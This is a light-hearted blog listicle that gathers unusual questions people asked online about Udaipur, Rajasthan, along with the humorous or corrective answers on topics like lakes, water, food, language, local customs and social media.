Disclaimer Time: All these questions below were asked by people on different online social platforms such as Quora, Facebook groups, WhatsApp groups and in person as well. I have selected and filtered out the most interesting and unusual questions people ask about Udaipur, along with the answers that other people have provided them. The content is taken from the above sources originally, Hence, language and grammar shouldn’t be the point of concern. 

Here we go (you are free to laugh out loud btw)

Question Udaipur is a lack city so is there only lacks? If yes where do persons live?

Answer ha bhai we have only lakes all around. Human beings live on tapu and we have to swim through the water to go to school, college, work, etc.

Weird and unusual questions people ask about Udaipur on Quora
Source: Singapotato

Q Bal Vivah sach mein rajasthan mein hota h kya? What is the general age when you get married?

A In reality it happened back in stone age but now, yes, Bal vivah exists but only in serials such as ‘Baalika Vadhu’. Other than that nobody marries before legal age. And even after that one can get married by the age of 28-30 easily.

Q Udaipur, Rajasthan bhi desert h kya? Agar haan to paani kaha milega?

A It would be a bit dfficult to find water in the city.

you can find packaged water in every other shop and we have thousands of shops in the city. If you are not satisfied with just that you can visit several lakes which our city has. So yeah happy journey.

Weird and unusual questions people ask about Udaipur on Quora
Source: Rebloggy

Q Hy, can I travel Udaipur without knowing Mewari?

A Not only can you travel to Udaipur without knowing Mewari but you can travel to Udaipur without knowing Hindi as well. We Udaipur citizen know Mewari, Hindi and English too. So unlike people thinks, we know other languages as well. In fact, only a few people in Udaipur speaks Mewari on a daily basis.

Q Do you eat Dal Baati every day?

A Dal baati is the regional food of Rajasthan but like every other city of India we eat other food too. In Udaipur you can find other national and international cuisines too such as Punjabi, South Indian, Italian, Chinese, Continental, etc. So no WE DO NOT EAT DAL BATI EVERYDAY.

Q Why is Udaipur called Kashmir of rajasthan? Does it have snowfall?

A Why do people even ask such questions? Udaipur is called Kashmir because it is similar to Kashmir in terms of beauty and landscapes not because it is a cold place or it has snowfall.

Weird and unusual questions people ask about Udaipur on Quora
Source: gifimage.net

Q What should one not do in Rajasthan?

A Don’t disrespect warriors of Rajasthan by any manner. specially Maharana Pratap, Prithviraj Chauhan. People respect them a lot.

  • Don’t think Rajsthani people have only Dal- Bati to eat. We have lot of recipies and all of them are delicious.
  • Water scarcity is now not a big issue. It’s not like we even drink water in calculative way. We also waste lot of water on Holi.
  • All of us are not Marwadi and Rajputs. Marwar is just one of the region in Rajsthan and Rajputs are one of the communities.
  • We are not that Orthodox as we are shown in movies etc. Men and women are treated as equal now.
  • Don’t think it’s entire desert. It’s just a part that to close to border. Elsewhere you will see modern rajasthan for example in jaipur , udaipur, jodhpur etc.
  • Don’t ever say literally don’t ever say Kanjoos to a marwadi guy. We get offended. We also spend lavishly on luxaries. If you want to see just attend a wedding of Marwadi family.
  • Don’t ever try to mess with Gurjars. This is not offend anyone out here. But they are kind of Don in Rajsthan. Hahah..in a positive way.
  • Don’t judge men if you see him wearing jewellery. Specially earrings. This is tradition.
  • This one is my personal experience and I got offended on this. Never say that rajasthan and Rajasthani people didn’t play role in our freedom and all the kings surrendered to British for salutation‘ SIR’ in their name. They had no choice or they protected their persons ‘praja’ by doing that. Infact Rajasthan was very prone to warriors from outside like Afganistan and Pakistan. Our kings fought with them and don’t let them inside our territory till their last breath.
  • We all don’t live in bungalows. ‘Kothi’ or ‘mahal’. We have usual houses.
  • Don’t underestimate Bhangarh fort. It’s scary and will surely haunt you. Don’t try to be over smart at haunted places like Bhangarh and Kukdhara village in jodhpur. (Haunted Village)
  • Last but not least don’t underestimate Rajasthan Royals in IPL. After all we have won the title without any big name from cricket world. Rajsthan Royals is for talented youngsters not for big names.

Thank you for reading!!!

Q How social is Udaipur on social media?

A Facebook -I am tired of receiving friend requests from old classmates, acquaintances from coaching classes, neighbors, close relatives, distant relatives, relatives of relatives. Pheww! Mom, Dad please don’t ask me again to create your Facebook profile.

Instagram – I signed up on Instagram just to see that my feed had nothing but repetitive snaps of cold coffee at Fateh Sagar, sunsets at Ambrai Ghat, people leaning over the letters of I.L.O.V.E.U.D.A.I.P.U.R in Pratap Park. Till date, I never logged in again.

Whatsapp – I once happened to scroll through my Dad’s Whatsapp contact list. My thumb started paining but the end of the list never came. Every doctor, every retailer, all the milkmen and newspaper guys we ever had, everyone was there.

They are everywhere my friend. You name the website, they would sign up on it within a minute with a selfie taken at Fateh Sagar set as their profile picture.

On Quora?

A few intellectuals signed up, followed their facebook friends and vanished. Another category includes travel bloggers or tour guides who plan other people’s itinerary here and thereby redirect them to their websites.

Seems like I am all alone here.

Weird and unusual questions people ask about Udaipur on Quora
Source: tenor

Did you go WTF after reading these questions people ask about Udaipur from different parts of the country? Well, it was well intended and it comes as no wonder that people still have many misconceptions about the beautiful city of lakes even after it has such a huge coverage on media every now and then. Meanwhile, all we can do is go on these online platforms and resolve the myths people have in mind about Udaipur.

Did anyone ask you such weird questions about Udaipur too? Share the incident with us in the comment section.